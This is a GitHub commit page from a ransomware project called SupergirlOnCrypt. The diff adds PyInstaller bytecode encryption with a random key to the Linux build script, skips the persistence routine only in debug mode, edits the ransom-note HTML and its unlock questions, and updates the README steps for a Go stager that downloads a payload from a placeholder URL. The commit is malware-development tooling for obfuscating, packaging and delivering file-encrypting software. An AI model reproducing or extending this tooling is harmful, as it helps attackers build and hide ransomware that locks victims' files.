Skip to content

Commit

Permalink
Bytecode Encryption (Linux Only), Reduced Questions
Browse files Browse the repository at this point in the history
  • Loading branch information
ThoughtfulDev committed Feb 9, 2018
1 parent d3a57a1 commit 84d0cde
Show file tree
Hide file tree
Showing 11 changed files with 24 additions and 18 deletions.
3 changes: 1 addition & 2 deletions API/bin/questions.json
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@
"What is the real name of Supergirl?": "S2FyYSBab3ItRWw=",
"Supergirl is the ______ of Superman": "Y291c2lu",
"Where does Supergirl work as a disguise?": "Q2F0Q28gV29ybGR3aWRlIE1lZGlh",
"What is the name of Supergirl's adoptive Sister?": "QWxleCBEYW52ZXJz",
"Type 'I wont open any Files which i dont know cause it might be a real Cryptolocker'": "SSB3b250IG9wZW4gYW55IEZpbGVzIHdoaWNoIGkgZG9udCBrbm93IGNhdXNlIGl0IG1pZ2h0IGJlIGEgcmVhbCBDcnlwdG9sb2NrZXI="
"What is the name of Supergirl's adoptive Sister?": "QWxleCBEYW52ZXJz"
}
]
Binary file modified API/db/db.sqlite
Binary file not shown.
5 changes: 4 additions & 1 deletion App/SupergirlOnCrypt.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,10 @@ def init():
id = genKeyPair()
_helper.info('Generating UUID => ' + id)
_helper.write_file(str(Path.home()) + '/supergirl.uuid', id)
makePersistence()
if Config.DEBUG_MODE is False:
makePersistence()
else:
_helper.debug('Skipping Persistence')

copyInstructions()
startGui(id)
Expand Down
8 changes: 8 additions & 0 deletions App/requirements_lin.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
cryptography
pycryptodome
requests
pysocks
pyqt5
psutil
pillow
pycrypto
2 changes: 1 addition & 1 deletion App/requirements.txt → App/requirements_win.txt
Original file line number Diff line number Diff line change
Expand Up @@ -4,4 +4,4 @@ requests
pysocks
pyqt5
psutil
pillow
pillow
2 changes: 1 addition & 1 deletion App/res/info.html
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,6 @@ <h2>What happend to my Computer?</h2>
<h2>Can I Recover my Files?</h2>
<p>
Sure! We guarantee that you can recover all your files safely and easily.<br>
Just do some random shit and click Decrypt!
Just click Decrypt!
</p>
</p>
3 changes: 1 addition & 2 deletions App/res/questions.txt
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
What is the real name of Supergirl?
Supergirl is the ______ of Superman"
Where does Supergirl work as a disguise?
What is the name of Supergirl's adoptive Sister?
Type 'I wont open any Files which i dont know cause it might be a real Cryptolocker'
What is the name of Supergirl's adoptive Sister?
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -70,7 +70,7 @@ PS> .\supergirl.ps1 -mode build
### Building Stager
1. Upload your Binary which you gathered from the previous step
2. Go to `./Stagers/Go` and open `main.go`
3. Change line 39 `var url string = "your-direct-download-url-here"`
3. Change line 34 `var url string = "your-direct-download-url-here"`

#### Building a Linux Stager
4. `GOOS=linux go build -ldflags="-s -w" -o stager main.go`
Expand Down
4 changes: 2 additions & 2 deletions Scripts/supergirl.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -124,7 +124,7 @@ function setupMode {
info "Sourcing venv..."
.\venv\Scripts\activate.ps1
info "Installing requirements..."
Start-Process -FilePath ".\venv\Scripts\pip.exe" -ArgumentList "install -r ../App/requirements.txt" -NoNewWindow -wait 2>&1;
Start-Process -FilePath ".\venv\Scripts\pip.exe" -ArgumentList "install -r ../App/requirements_win.txt" -NoNewWindow -wait 2>&1;
info "Fixing things..."
cp -r .\venv\Lib\site-packages\Crypto\ .\venv\Lib\site-packages\Cryptodome
cp .\_raw_api.py .\venv\Lib\site-packages\Crypto\Util\_raw_api.py
Expand All @@ -142,7 +142,7 @@ function setupMode {
info "Sourcing venv..."
.\venv\Scripts\activate.ps1
info "Installing requirements..."
Start-Process -FilePath ".\venv\Scripts\pip.exe" -ArgumentList "install -r ../App/requirements.txt" -NoNewWindow -wait 2>&1;
Start-Process -FilePath ".\venv\Scripts\pip.exe" -ArgumentList "install -r ../App/requirements_win.txt" -NoNewWindow -wait 2>&1;
info "Fixing things..."
cp -r .\venv\Lib\site-packages\Crypto\ .\venv\Lib\site-packages\Cryptodome
cp .\_raw_api.py .\venv\Lib\site-packages\Crypto\Util\_raw_api.py
Expand Down
8 changes: 5 additions & 3 deletions Scripts/supergirl.sh
Original file line number Diff line number Diff line change
Expand Up @@ -111,7 +111,7 @@ setupVEnv() {


info "Installing requirements..."
(pip install -r ../App/requirements.txt) > /dev/null 2>&1 &
(pip install -r ../App/requirements_lin.txt) > /dev/null 2>&1 &
spinner $!
echo -e "\n"
success "Installed requirements\n"
Expand Down Expand Up @@ -159,8 +159,10 @@ setupKey() {

build() {
source ./venv/bin/activate
info "Building binary"
(pyinstaller --clean --noupx --onefile --add-data="../App/tor_bin:tor_bin" --add-data="../App/res:res" ../App/SupergirlOnCrypt.py) > ./pyinstaller.log 2>&1 &
info "Building binary\n"
ENC_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
info "Using Bytecode Encryption Key ${ENC_KEY}"
(pyinstaller --clean --noupx --onefile --key="${ENC_KEY}" --add-data="../App/tor_bin:tor_bin" --add-data="../App/res:res" ../App/SupergirlOnCrypt.py) > ./pyinstaller.log 2>&1 &
spinner $!
echo -e "\n"
if [ ! -f ./dist/SupergirlOnCrypt ]; then
Expand Down
5 changes: 0 additions & 5 deletions Stagers/Go/main.go
Original file line number Diff line number Diff line change
@@ -1,7 +1,5 @@
package main

import ("os";"os/exec";"net/http";"io";"runtime";"time";"math/rand")

func downloadFile(filepath string, url string) (err error) {
// Create the file
out, err := os.Create(filepath)
Expand All @@ -23,9 +21,7 @@ func downloadFile(filepath string, url string) (err error) {

return nil
}

var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")

func randSeq(n int) string {
rand.Seed(time.Now().UTC().UnixNano())
b := make([]rune, n)
Expand All @@ -34,7 +30,6 @@ func randSeq(n int) string {
}
return string(b)
}

func main() {
var url string = "your-direct-download-url-here"
var length int = 10
Expand Down

0 comments on commit 84d0cde

Please sign in to comment.